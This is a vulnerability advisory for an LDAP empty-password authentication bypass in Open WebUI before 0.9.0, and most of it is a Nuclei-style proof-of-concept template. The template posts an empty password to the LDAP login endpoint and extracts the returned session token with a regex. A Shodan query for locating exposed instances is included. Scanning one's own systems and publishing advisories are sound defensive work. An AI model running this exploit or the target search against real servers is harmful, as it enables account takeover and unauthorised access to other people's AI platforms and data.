Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.
PoC
id: CVE-2026-44551
info:
name: Open WebUI 'LDAP Empty Password' - Authentication Bypass
author: DhiyaneshDk
severity: critical
description: |
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.
impact: |
Attackers can authenticate without a password and obtain full session tokens, leading to unauthorized access.
remediation: |
Update to version 0.9.0 or later.
reference:
- https://github.com/open-webui/open-webui/security/advisories/GHSA-2r4p-jpmg-48f4
- https://nvd.nist.gov/vuln/detail/CVE-2026-44551
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-44551
epss-score: 0.01634
epss-percentile: 0.75548
cwe-id: CWE-287
metadata:
verified: true
max-request: 1
shodan-query: http.title:"Open WebUI"
tags: cve,cve2026,open-webui,ldap,auth-bypass
variables:
username: "{{username}}"
http:
- raw:
- |
POST /api/v1/auths/ldap HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"user":"{{username}}","password":""}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"token_type":'
- '{"id":'
- '"name":'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
regex:
- '"token":"([^"]+)"'
# digest: 4a0a0047304502205ae796334dd3b065340bdf01d0a1cf7904ef409a913ab053225fc74aa9d301ad0221008d3596a4baae8fe2d35d915bcc009cfdea9e236c5498eef80e4b08e209c0e316:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.